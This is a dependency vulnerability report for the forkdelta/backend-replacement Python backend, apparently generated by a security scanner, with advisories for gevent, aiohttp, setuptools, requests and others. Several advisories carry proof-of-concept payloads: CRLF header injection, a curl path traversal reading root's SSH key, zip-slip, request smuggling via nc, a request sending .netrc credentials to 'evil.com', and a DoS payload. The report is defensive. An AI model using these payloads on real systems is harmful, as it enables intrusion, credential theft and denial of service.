Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: gevent
- Introduced through: gevent@22.10.2
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › gevent@22.10.2Remediation: Upgrade to gevent@23.9.0.
Overview
Affected versions of this package are vulnerable to Trusting HTTP Permission Methods on the Server Side when the gevent.pywsgi
function is used. An attacker can craft invalid trailers in chunked requests on keep-alive connections that might appear as two requests to gevent.pywsgi
. This could potentially bypass checks if an upstream server is filtering incoming requests based on paths or header fields and simply passing trailers through without validating them. An attacker could escalate privileges on the system via a crafted script to the WSGIServer component.
Note:
If the upstream server validated that the trailers meet the HTTP specification, this could not occur, because characters that are required in an HTTP request, like a space, are not allowed in trailers.
Remediation
Upgrade gevent
to version 23.9.0 or higher.
References
critical severity
- Vulnerable module: h11
- Introduced through: python-socketio@1.8.4
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › python-socketio@1.8.4 › python-engineio@4.12.3 › simple-websocket@1.1.0 › wsproto@1.2.0 › h11@0.14.0
Overview
h11 is an A pure-Python, bring-your-own-I/O implementation of HTTP/1.1
Affected versions of this package are vulnerable to HTTP Request Smuggling via the class ChunkedReader
in _readers.py
file, which performs the parsing of line terminators in chunked-coding message bodies. An attacker can exploit this to bypass security controls and smuggle HTTP requests by crafting malformed chunked-encoding bodies.
Remediation
Upgrade h11
to version 0.16.0 or higher.
References
high severity
- Vulnerable module: gevent
- Introduced through: gevent@22.10.2
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › gevent@22.10.2Remediation: Upgrade to gevent@24.10.1.
Overview
Affected versions of this package are vulnerable to Race Condition when the fallback socketpair implementation is used on platforms that lack native support and the vulnerable function does not properly authenticate the connected sockets. An attacker must be able to predict the address and port and establish a connection before the legitimate client.
Remediation
Upgrade gevent
to version 24.10.1 or higher.
References
high severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling via incorrect parsing of the trailer
section in HTTP requests. An attacker can bypass firewall or proxy protections by crafting specially formed HTTP requests.
Note:
This is exploitable if the pure Python version of aiohttp is installed or the AIOHTTP_NO_EXTENSIONS
environment variable is enabled.
Remediation
Upgrade aiohttp
to version 3.12.14 or higher.
References
high severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling due to incorrect parsing of newlines in chunk extensions via the feed_data
function. An attacker can bypass firewall or proxy protections by sending specially crafted requests.
Note:
Exploiting this vulnerability is possible when a pure Python version of aiohttp is installed (Without the usual C extensions) or AIOHTTP_NO_EXTENSIONS
is enabled.
Remediation
Upgrade aiohttp
to version 3.10.11 or higher.
References
high severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to Infinite loop when processing a multipart/form-data
POST request with malicious CONTENT_DISPOSITION
values. An attacker can cause the server to deny all other requests while stuck in the loop.
Remediation
Upgrade aiohttp
to version 3.9.4 or higher.
References
high severity
new
- Vulnerable module: python-socketio
- Introduced through: python-socketio@1.8.4
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › python-socketio@1.8.4Remediation: Upgrade to python-socketio@5.14.0.
Overview
python-socketio is a Socket.IO server and client for Python
Affected versions of this package are vulnerable to Deserialization of Untrusted Data via payloads that are passed between Socket.IO processes in multi-server deployments. An attacker can execute arbitrary code by sending a crafted pickle payload to a message queue used for inter-server communication.
Note: This is only exploitable if the attacker has already compromised the message queue or if the queue was publicly exposed.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
Remediation
Upgrade python-socketio
to version 5.14.0 or higher.
References
high severity
- Vulnerable module: setuptools
- Introduced through: gevent@22.10.2
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › gevent@22.10.2 › setuptools@40.5.0Remediation: Upgrade to gevent@22.10.2.
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0Remediation: Upgrade to gevent@22.10.2.
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0Remediation: Upgrade to gevent@22.10.2.
Overview
Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index
module's download functions due to the unsafe usage of os.system
. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.
Note
Because easy_install
and package_index
are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.
Remediation
Upgrade setuptools
to version 70.0.0 or higher.
References
high severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to HTTP Header Injection since aiohttp simply concatenated headers without any validation. This allowed an attacker to inject arbitrary content into the headers, including CRLF characters.
PoC
// For this code
import aiohttp.web
async def handler(req: aiohttp.web.Request):
return aiohttp.web.Response(headers={
'X-Debug-Param': req.query.get('param', ''),
})
app = aiohttp.web.Application()
app.add_get('/', handler)
// Send the following requests to the webapp
/?param=%0d%0aLocation:%20https://malware.host/ # open redirect
/?param=%0d%0aSet-Cookie:%20... # set some cookie
/?param=%0d%0aContent-Length:%2040%0d%0a # skip next headers
Remediation
Upgrade aiohttp
to version 3.8.0 or higher.
References
high severity
- Module: pylru
- Introduced through: web3@3.16.4
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › web3@3.16.4 › pylru@1.2.1
GPL-3.0 license
medium severity
- Vulnerable module: gevent
- Introduced through: gevent@22.10.2
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › gevent@22.10.2Remediation: Upgrade to gevent@25.4.1.
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper handling of pywsgi
Input._send_100_continue
. An attacker could extract data or compromise data integrity by sending a request with an Expect: 100-continue
header.
Remediation
Upgrade gevent
to version 25.4.1 or higher.
References
medium severity
- Vulnerable module: zipp
- Introduced through: alembic@0.9.6
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › alembic@0.9.6 › mako@1.2.4 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to alembic@0.9.6.
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › alembic@0.9.6 › sqlalchemy@2.0.44 › importlib-metadata@6.7.0 › zipp@3.15.0
Overview
Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path
module, such as joinpath
, the overloaded division operator, and iterdir
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade zipp
to version 3.19.1 or higher.
References
medium severity
- Vulnerable module: setuptools
- Introduced through: gevent@22.10.2
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › gevent@22.10.2 › setuptools@40.5.0Remediation: Upgrade to gevent@22.10.2.
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0Remediation: Upgrade to gevent@22.10.2.
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0Remediation: Upgrade to gevent@22.10.2.
Overview
Affected versions of this package are vulnerable to Directory Traversal through the PackageIndex._download_url
method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.
PoC
python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade setuptools
to version 78.1.1 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling due to a vulnerable dependency. An attacker can exploit request smuggling vulnerabilities.
Remediation
Upgrade aiohttp
to version 3.8.6 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper validation of HTTP request elements. An attacker can potentially inject additional requests or cause unhandled exceptions leading to excessive resource consumption by exploiting leniencies in the HTTP parser and inconsistencies in error handling.
PoC
GET / HTTP/1ö1
GET / HTTP/1.𝟙
GET/: HTTP/1.1
Content-Encoding?: chunked
Remediation
Upgrade aiohttp
to version 3.9.2 or higher.
References
medium severity
- Vulnerable module: huey
- Introduced through: huey@1.7.0
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › huey@1.7.0Remediation: Upgrade to huey@2.5.0.
Overview
huey is a huey, a little task queue
Affected versions of this package are vulnerable to Race Condition where a task is enqueued and executed before the corresponding database changes have been committed.
Remediation
Upgrade huey
to version 2.5.0 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to UNIX Symbolic Link (Symlink) Following through the FileResponse
class due to improper validation for compressed variants. An attacker can access files outside the intended directory by manipulating symbolic links to point to restricted areas by performing Path.stat()
and Path.open()
to send the file.
Note
This vulnerability impacts servers with static routes that contain compressed variants as symbolic links pointing outside the root directory or that permit users to upload or create such links.
Remediation
Upgrade aiohttp
to version 3.10.2 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: web3@3.16.4
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › web3@3.16.4 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to web3@3.16.4.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization
header during cross-origin redirects when ProxyManager
is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.
Notes:
To be vulnerable, the application must be doing all of the following:
Setting the
Proxy-Authorization
header without using urllib3's built-in proxy support.Not disabling HTTP redirects (e.g. with
redirects=False
)Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.
Workarounds
Using the
Proxy-Authorization
header with urllib3'sProxyManager
.Disabling HTTP redirects using
redirects=False
when sending requests.Not using the
Proxy-Authorization
header.
Remediation
Upgrade urllib3
to version 1.26.19, 2.2.2 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: web3@3.16.4
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › web3@3.16.4 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to web3@3.16.4.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Open Redirect due to the retries
parameter being ignored during PoolManager
instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.
Note:
requests
and botocore
users are not affected.
Workaround
This can be mitigated by disabling redirects at the request()
level instead of the PoolManager()
level.
Remediation
Upgrade urllib3
to version 2.5.0 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') via the configuration of static routes when the follow_symlinks
option is set to True
. An attacker can read arbitrary files on the system by exploiting the lack of validation for file paths to ensure they are within the specified root directory for static files.
Notes:
This vulnerability has been present since the introduction of the follow_symlinks
parameter.
An application is only vulnerable with setup code like:
app.router.add_routes([
web.static("/static", "static/", follow_symlinks=True), # Remove follow_symlinks to avoid the vulnerability
])
Workaround
This vulnerability can be mitigated by disabling the follow_symlinks
option if it is set to True
, especially in environments beyond restricted local development. Additionally, using a reverse proxy server to handle static resources is recommended over serving static resources directly with aiohttp
in production environments.
Remediation
Upgrade aiohttp
to version 3.9.2 or higher.
References
medium severity
- Vulnerable module: setuptools
- Introduced through: gevent@22.10.2
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › gevent@22.10.2 › setuptools@40.5.0Remediation: Upgrade to gevent@22.10.2.
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › gevent@22.10.2 › zope.event@5.0 › setuptools@40.5.0Remediation: Upgrade to gevent@22.10.2.
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › gevent@22.10.2 › zope.interface@6.4.post2 › setuptools@40.5.0Remediation: Upgrade to gevent@22.10.2.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex
page.
Note:
Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index
is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade setuptools
to version 65.5.1 or higher.
References
medium severity
- Vulnerable module: websockets
- Introduced through: websockets@7.0
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › websockets@7.0Remediation: Upgrade to websockets@10.0.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS). Header sizes are not properly validated which might result in some denial of service scenarios. This vulnerability is likely not exploitable.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade websockets
to version 10.0 or higher.
References
medium severity
- Vulnerable module: requests
- Introduced through: web3@3.16.4
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › web3@3.16.4 › requests@2.31.0Remediation: Upgrade to web3@3.16.4.
Overview
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc
credentials to a server controlled by the attacker.
Note:
This is only exploitable if the .netrc
file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com
in http://example.com:@evil.com/
).
PoC
requests.get('http://example.com:@evil.com/')
Remediation
Upgrade requests
to version 2.32.4 or higher.
References
medium severity
- Vulnerable module: requests
- Introduced through: web3@3.16.4
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › web3@3.16.4 › requests@2.31.0Remediation: Upgrade to web3@3.16.4.
Overview
Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session
. An attacker can bypass certificate verification by making the first request with verify=False
, causing all subsequent requests to ignore certificate verification regardless of changes to the verify
value.
Notes:
For requests <2.32.0, avoid setting
verify=False
for the first request to a host while using a Requests Session.For requests <2.32.0, call
close()
on Session objects to clear existing connections ifverify=False
is used.This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.
Remediation
Upgrade requests
to version 2.32.2 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to Improper Input Validation via the ClientSession
method. An attacker can modify the HTTP request or create a new HTTP request if they control the HTTP method.
Note: This is only exploitable if the attacker can control the HTTP method of the request.
Workaround
Perform manual validation of the user value (e.g. by restricting it to a few known values like GET, POST etc.).
Remediation
Upgrade aiohttp
to version 3.9.0 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to Improper Input Validation in the ClientSession. An attacker can modify the HTTP
request or create a new HTTP
request by controlling the HTTP
version of the request. If a list is passed, then it bypasses validation and it is possible to perform CRLF injection.
Note: The vulnerability only occurs if the attacker can control the HTTP version of the request (including its type).
Workaround
If these specific conditions are met and you are unable to upgrade, then validate the user input to the version parameter to ensure it is a str
.
Remediation
Upgrade aiohttp
to version 3.9.0 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling in that aiohttp
is bundled with llhttp v6.0.6, which is vulnerable to CVE-2023-30589. The vulnerable code is used by aiohttp
for its HTTP request parser, when available, which is the default case when installing from a wheel.
Note
This vulnerability only affects users of aiohttp
as an HTTP server (i.e. aiohttp.Application
). Users are not affected by this vulnerability if they use aiohttp
as an HTTP client library (i.e. aiohttp.ClientSession
).
Workaround
Users who are unable to upgrade to the fixed version can reinstall the library using AIOHTTP_NO_EXTENSIONS=1
as an environment variable to disable the llhttp HTTP request parser implementation. The pure Python implementation isn't vulnerable to request smuggling:
$ python -m pip uninstall --yes aiohttp
$ AIOHTTP_NO_EXTENSIONS=1 python -m pip install --no-binary=aiohttp --no-cache aiohttp
PoC
from aiohttp import web
async def example(request: web.Request):
headers = dict(request.headers)
body = await request.content.read()
return web.Response(text=f"headers: {headers} body: {body}")
app = web.Application()
app.add_routes([web.post('/', example)])
web.run_app(app)
Sending a crafted HTTP request will cause the server to misinterpret one of the HTTP header values leading to HTTP request smuggling.
$ printf "POST / HTTP/1.1\r\nHost: localhost:8080\r\nX-Abc: \rxTransfer-Encoding: chunked\r\n\r\n1\r\nA\r\n0\r\n\r\n" \
| nc localhost 8080
Expected output:
headers: {'Host': 'localhost:8080', 'X-Abc': '\rxTransfer-Encoding: chunked'} body: b''
Actual output (note that 'Transfer-Encoding: chunked' is an HTTP header now and body is treated differently)
headers: {'Host': 'localhost:8080', 'X-Abc': '', 'Transfer-Encoding': 'chunked'} body: b'A'
Remediation
Upgrade aiohttp
to version 3.8.5 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling via the HTTP parser. An attacker can manipulate the header parsing, leading to potential request smuggling by exploiting the incorrect usage of the int
constructor for Content-Length
values, improper handling of NUL, CR, and LF in header values, and improper stripping of whitespace before colon in HTTP headers.
Note:
This is only exploitable if AIOHTTP_NO_EXTENSIONS
is enabled or not using a prebuilt wheel.
Workaround
This vulnerability can be mitigated by verifying that a Content-Length
value consists only of ASCII digits before parsing, rejecting all messages with NUL, CR, or LF in a header value, and rejecting all messages with whitespace before a colon in a header field.
Remediation
Upgrade aiohttp
to version 3.8.6 or higher.
References
medium severity
- Vulnerable module: eth-abi
- Introduced through: eth-abi@0.5.0 and web3@3.16.4
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › eth-abi@0.5.0Remediation: Upgrade to eth-abi@5.0.1.
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › web3@3.16.4 › eth-abi@0.5.0Remediation: Upgrade to web3@3.16.4.
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › web3@3.16.4 › eth-tester@0.1.0b39 › eth-abi@0.5.0
Overview
eth-abi is an eth_abi: Python utilities for working with Ethereum ABI definitions, especially encoding and decoding
Affected versions of this package are vulnerable to Resource Exhaustion due to a recursive pointer issue. An attacker can cause a denial of service by sending a specially crafted payload that triggers an OverflowError
.
PoC
from eth_abi import decode
payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"
# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))
decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
Remediation
Upgrade eth-abi
to version 5.0.1 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@2.3.7
Detailed paths
-
Introduced through: forkdelta/backend-replacement@forkdelta/backend-replacement#97ccd1a19544f26d242a8412113086f0c0dd5760 › aiohttp@2.3.7
Overview
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper handling of index pages for static file serving when show_index
is set to True
. If users have the ability to upload files with arbitrary filenames to the static directory, an attacker can inject malicious scripts that will be executed in the context of the victim's browser session by crafting a file name that includes executable script content.
Note:
This is only exploitable if the server is configured to allow users to upload files to the static directory and show_index
is enabled.
Workaround
This vulnerability can be mitigated by using a reverse proxy server (e.g., nginx) for serving static files, as recommended, or by disabling show_index
if unable to upgrade.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
